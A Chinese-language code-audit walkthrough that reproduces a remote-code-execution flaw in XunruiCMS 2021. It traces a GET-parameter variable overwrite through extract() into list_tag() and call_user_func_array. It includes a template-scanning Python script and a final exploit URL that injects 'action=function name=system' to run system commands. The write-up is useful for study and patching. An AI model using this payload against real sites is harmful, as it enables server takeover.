代码审计-迅睿CMS2021

admin 2023年7月14日13:07:27评论30 views字数 8030阅读26分46秒阅读模式

前置知识

目录结构

  • xunruicms

    • api -接口调用入口,编辑器等。

    • cache -缓存文件目录,可自定义位置,例如使用固态硬盘

    • config -用户的一些自定义配置、自定义函数、自定义钩子等。

    • dayrui -系统核心程序目录,可移动目录

    • mobile -手机端入口

    • static -资源目录

    • template -模板文件目录,可自定义位置

    • uploadfile -附件上传目录

URL相关

系统保留URL参数变量

c:控制器变量

s:项目变量

m:方法变量

app:应用目录变量

appid:api插件请求参数

uri:路由识别变量

获取URI地址

前台和后台的URI路由地址:

APP目录/控制器文件/方法函数

会员中心的URI路由地址:

member/APP目录/控制器方法/方法函数

通过动态地址获取URL:

index.php?s=APP目录&c=控制器文件&m=方法函数

获取当前控制器的URI地址:

PhpcmfService::L('Router')->uri();

相关例子:

1、网站首页的URI

{if PhpcmfService::L('Router')->uri() == "home/index"}
当前控制器是首页的
{/if}

2、news模块首页的URI

{if PhpcmfService::L('Router')->uri() == "news/home/index"}
当前控制器是news模块首页的
{/if}

3、news模块栏目的uri

{if PhpcmfService::L('Router')->uri() == "news/category/index"}
当前控制器是news模块栏目页的
{/if}

4、news模块内容的uri

{if PhpcmfService::L('Router')->uri() == "news/show/index"}
当前控制器是news模块内容目页的
{/if}

5、news模块搜索的uri

{if PhpcmfService::L('Router')->uri() == "news/search/index"}
当前控制器是news模快搜索页的
{/if}

6、会员中心首页的uri

{if PhpcmfService::L('Router')->uri() == "member/home/index"}
当前控制器是会员中心首页
{/if}

7、会员中心的news模块列表的uri

{if PhpcmfService::L('Router')->uri() == "member/news/home/index"}
当前控制器是会员中心news模块列表
{/if}

如何通过url找控制器文件

CMS动态地址如下:

index.php?s=aa&c=bb&m=cc
  • s参数表示app目录

  • c参数表示控制器文件名

  • m参数表示控制器文件名中的方法函数名

APP插件或模块部分

1、前段控制器URL结构

index.php?s=aaa&c=bbb&m=ccc

对应的控制器文件是:/dayrui/App/Aaa/Controllers/Bbb.php

2、前段会员控制器URL结构

index.php?s=member&app=aaa&c=bbb&m=ccc

对应的控制器文件是:/dayrui/App/Aaa/Controllers/Member/Bbb.php

3、后台控制器URL结构

admin.php?s=aaa&c=bbb&m=ccc

对应的控制器文件是:/dayrui/App/Aaa/Controllers/Admin/Bbb.php

核心CMS程序部门

1、前段控制器URL结构

index.php?c=aaa&m=

对应的控制器文件是:/dayrui/Fcms/Control/Aaa.php

2、后台控制器URL结构

admin.php?c=aaa&m=

对应控制器文件是:/dayrui/Fcms/Control/Admin/Aaa.php

3、api控制器url结构

index.php?s=api&c=aaa&m=

对应的控制器文件是:/dayrui/Fcms/Control/Api/Aaa.php

开始复现

首先,我们通过seay工具,和看网上文章,都可以找到该漏洞出现的地方

代码审计-迅睿CMS2021

seay审计:

代码审计-迅睿CMS2021

当确定有该函数之后(因为是复现,所以我们只需要关注,相关审计工具扫不扫得到该函数,在考虑扫到了,我们的思维能不能找到,这是逆向思维,现在是确定有,在顺着来),我们开始复现。

因为是学习审计,所以我们正反向都来一遍。

正向-根据入口来

第一轮:

根据审计前阅读官方的文档介绍,我们知道了url的路径参数。因此我们需要构造出能访问漏洞出现的入口地址,也就是Api.php->template方法

url

index.php?s=api&c=api&m=template
public function template() {

$app = dr_safe_filename(PhpcmfService::L('input')->get('app'));
$file = dr_safe_filename(PhpcmfService::L('input')->get('name'));
$module = dr_safe_filename(PhpcmfService::L('input')->get('module'));

$data = [
'app' => $app,
'file' => $file,
'module' => $module,
];

if (!$file) {
$html = 'name不能为空';
} else {
if ($module) {
$this->_module_init($module);
PhpcmfService::V()->module($module);
} elseif ($app) {
PhpcmfService::V()->module($app);
}

PhpcmfService::V()->assign(PhpcmfService::L('input')->get('', true));
ob_start();
PhpcmfService::V()->display($file);
$html = ob_get_contents();
ob_clean();

$data['call_value'] = PhpcmfService::V()->call_value;
}

$this->_json(1, $html, $data);
}

代码审计-迅睿CMS2021

从截图中,我们首先需要了解到:

  • PhpcmfService::L('input')->get('app'):get请求,接收app参数。

  • PhpcmfService::L('input')->get('name'):get请求,接收name参数。

  • PhpcmfService::L('input')->get('name'):get请求,接收module参数

  • dr_safe_filename():是用来过滤接受的参数值,而以下这些过,说明不能有特殊字符,不能进行目录穿越\、/等。

function dr_safe_filename($string) {
return str_replace(
['..', "/", '\', ' ', '<', '>', "{", '}', ';', ':', '[', ']', ''', '"', '*', '?'],
'',
(string)$string
);
}

根据上述代码template()和截图,可以看到该方法中的所有参数1.app,2.name->file,3.module全部可控。因此,我们只需要关注方法的实现中,有没有我们可以利用到的危险函数。

第二轮:查看入口函数内部方法

根据第一轮的分析,可知template()方法中的所有参数借可控,因此,需要分析该方法中所调用的其他方法:

PhpcmfService::V()->module()方法

为防止篇幅过多,这里就不细分析module()方法了,简单来说一下把,就是View()对象实例调用了module()里面没有危险函数,也就是没有可利用的点。

PhpcmfService::V()->assign(PhpcmfService::L('input')->get('', true));

PhpcmfService::V()返回的是View()对象,因此assign()View()对象中的方法,而PhpcmfService::L('input')->get('', true)意思是将get请求中的所有参数都接受到,查看该方法:

代码审计-迅睿CMS2021

该方法是将get请求中的所有参数和值,放入_options[]数组中。

PhpcmfService::V()->display($file)

display()方法中,我们可以看到有一个变量覆盖的漏洞(因该方法代码较多,因此,只截图关键函数):

代码审计-迅睿CMS2021

我们可以看到,该方法接收两个参数:$phpcmf_name,$phpcmf_dir = ''

  • $phpcmf_name=$file ---->这意味着可控。

  • $phpcmf_dir --------->为null

那什么是extract()方法呢?

extract()

简单介绍一下:将数组的key修改为变量,数组的value修改为变量的值:但是extract()方法他设置了EXTR_OVERWRITE代表着允许覆盖

代码示例
<?php
$a = 'a';
array('a'=>'b','c'=>'c');
extract(array('a'=>'b','c'=>'c'),EXTR_OVERWRITE);
echo "$a = $a n$c = $c";
=================================================
输出:
$a = b
$c = c

extract($this->_options, EXTR_OVERWRITE)中的$this->_options在上述已经分析过了,内部存的是GET请求的所有参数。

因此,$phpcmf_dir也可以控制,url参数为:

index.php?s=api&c=api&m=template&phpcmf_dir=xxx

这样,我们就能将$phpcmf_dir覆盖成我们想要的参数了。

但是为了跳到这个地方来,$file不能为空(在template())方法中。

因此因构造url为:

index.php?s=api&c=api&m=template&phpcmf_dir=xxx&name=xxx

继续往下走

代码审计-迅睿CMS2021

来到get_file_name()方法

get_file_name()

该方法代码较多,只贴出一部分

代码审计-迅睿CMS2021

像这种代码,我们只需要对几个if进行判断分析,同时重点关注他的返回值。

我们进行调试,分别让dir为null,为admin和member,来看看会返回什么。这么为了节约时间,就不写调试过程了。这里直接说结果。

这里会返回

D:DevToolsWithToolsPhpStudyphpstudy_proWWWxunruicmsdayruiFcmsView
D:DevToolsWithToolsPhpStudyphpstudy_proWWWxunruicmstemplatepcdefaulthome

这两个目录下的html文件模板

代码审计-迅睿CMS2021

而该模板会在下方该处代码中被载入:

代码审计-迅睿CMS2021

查看load_view_file方法

load_view_file

代码审计-迅睿CMS2021

该方法乍一看,都是平平淡淡的方法,但是在474处,有一个handle_view_file()方法

handle_view_file()

代码审计-迅睿CMS2021


根据该方法的解释,是用来解析模板文件的,也就是我们返回的html模板,会被该方法给解析成我们平时所看到的html,那么看一下该方法中,有没有所涉及到的危险方法。

代码审计-迅睿CMS2021

该方法中,有一个数组,数组用来替换变量,进行html输出,如果进行替换,则有可能会触发list_tag()方法

代码审计-迅睿CMS2021
list_tag()方法中,根据最开始的seay审计,确定了有危险函数。

那么我们怎么确定调用哪些模板会触发该方法呢?

这里我使用的是脚本来测的。

  1. 先修改该方法

代码审计-迅睿CMS2021

如果触发了该方法,就输出xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx。并且为了排除干扰,直接停止执行。

  1. 编写python脚本

import os
import requests

directory = '';
array = ['admin','member','other']

directory_mapping = {
'admin':'D:\DevTools\WithTools\PhpStudy\phpstudy_pro\WWW\xunruicms\dayrui\Fcms\View',
'member':'D:\DevTools\WithTools\PhpStudy\phpstudy_pro\WWW\xunruicms\template\pc\default\home',
'other':'D:\DevTools\WithTools\PhpStudy\phpstudy_pro\WWW\xunruicms\template\pc\default\home',
}
for item in array:
directory=directory_mapping.get(item)
if directory is not None:
for root, dirs, files in os.walk(directory):
for file in files:
filename, file_extension = os.path.splitext(file)
if file_extension == '.html':
url = f'http://127.0.0.1:8010/index.php?s=api&c=api&m=template&phpcmf_dir={item}&name={file}'
response = requests.get(url)
if "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" in response.text:
print(url)

代码审计-迅睿CMS2021

少了很多,我们可以直接查看该模板的内容了。

将断点下在api.php->template()中的该处,因为该处已经将模板加载完毕,我们需要的是查看里面的内容。

代码审计-迅睿CMS2021

通过不停的调试

代码审计-迅睿CMS2021

第三轮

从以上分析,我们找到了可以出发list_tag()方法的模版,而找到模板后,并不代表着我们就可以利用call_user_func_array这个危险函数。我们需要阅读一下,这个方法里面的代码逻辑,看看满足什么条件,可以进入到这个函数中。

因为该方法代码量较大,所以,这里就不全贴出来了。

首先,list_tag()该方法接收一个参数$_params

代码审计-迅睿CMS2021

定义了一个数组$system

代码审计-迅睿CMS2021

对参数进行过滤

代码审计-迅睿CMS2021

上述代码过滤的意思是:匹配where后面的参数。同时将where整个语句都给替换为空。执行完毕后,得到数组:

$param['where']=xxx。

$a = "xxxx where='abx'";
if (preg_match('/where='(.+)'/sU', $a, $match)) {
echo $match[1];
$param['where'] = $match[1];
}else{
echo 1;
}
输出:
abx

校验$_params参数:

代码审计-迅睿CMS2021

对参数进行拆分,组成数组:其中$this->action可控,得到一个新的数组$params

代码审计-迅睿CMS2021

$str = "apple,banana,orange";
$arr = explode(",", $str);
print_r($arr);
输出:
Array
(
[0] => apple
[1] => banana
[2] => orange
)

$params数组进行遍历,此时我们并不需要通读该方法,我们先往下看。

代码审计-迅睿CMS2021

然后来到了我们想进入的危险方法中:

代码审计-迅睿CMS2021

但是想要进入这个方法,就需要$system['action']有值且为function,而$system['action']在刚进入该方法时,初始化时没有值的,那么我们选中$system,看看离$system['action']最近的$system在哪,依次往上寻找,直到找到可以复制的地方,如果找不到说明漏洞不存在。很幸运的是,我们找到了,就在对$params数组进行遍历中。

代码审计-迅睿CMS2021

之前我们没有仔细的阅读遍历方法,现在我们仔细阅读了。

首先$params数组,通过遍历,找=号,截取0到=出现的下标,赋值给$var,=加1的位置到结束,赋值给$val。而如果$var在最开始初始化中,那么就将$val的值赋值给他。简单来说具体意思就是:

$system = ['action'=>'','apple'=>'','banana'=>'','','orange'=>''];
$str = "apple=123 banana=456 orange=789";
$arrs = explode(" ", $str);
foreach ($arrs as $arr){
$var = substr($arr, 0, strpos($arr, '='));
$val = substr($arr, strpos($arr, '=') + 1);
if (isset($system[$var])) { // 系统参数,只能出现一次,不能添加修饰符
$system[$var] = $val;
}else{
echo "$arr 赋值失败!n";
}
}
print_r($system);
==========================
输出:
Array
(
[action] =>
[apple] => 123
[banana] => 456
[0] =>
[orange] => 789
)

相信通过这个例子,大家都明白了,因此我们需要进入到switch方法中,那么$params数组中,就必须要有一个值为action=function,因此,在传入$_params数组中,就必须要有这样的参数:xx action=function

代码审计-迅睿CMS2021

而为了给$p赋值,那么就必须要进入到这个foreach方法中,而该方法中,也是一样,遍历$param数组,而为了让系统知道$p是多少,那么我们只需要让$p只有一个值,并且该值为我们要执行的参数。而根据foreach逻辑,那么$param数组需要有一个键值为param=>xxxx这样才能给$p赋值。

因此,我们需要将param=>xxx修改为:param=>calc

这样的话,通过Intval()对变量的转换,就是空,为空的话,会默认为0,也就是$p[0]=calc

但是,这样还不行,因为我们还需要传入一个执行的命令,也就是$param['name']

因此我们需要让$param['name']=system

所以,接下来,我们需要找到$param()数组,是由哪里赋值的,经过查找,还是在foreach中:

代码审计-迅睿CMS2021

也就是说,$params里面得有一个 param=calc name=system

参数都找到了,那么问题来了,我们该如何传入进来呢?

通过我们对脚本跑的url,一个个进行调试,这里我们就以我们脚本跑的第一个模版为例:api_members.html,通过调试,看看会上传哪些参数:

代码审计-迅睿CMS2021

我们可以直接将让urlrule参数等于我们要传的,这样就能够让我们需要的参数全都传过去了。


$this->list_tag("action=member where=$where order=id page=1 pagesize=$pagesize urlrule=$urlrule")

因此根据上述分析,url为:

http://localhost:8010/index.php?s=api&c=api&m=template&name=api_members.html&phpcmf_dir=admin&urlrule=%20action=function%20name=system%20param=calc

代码审计-迅睿CMS2021


原文始发于微信公众号(实战安全研究):代码审计-迅睿CMS2021

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月14日13:07:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   代码审计-迅睿CMS2021http://cn-sec.com/archives/1875930.html

发表评论

匿名网友 填写信息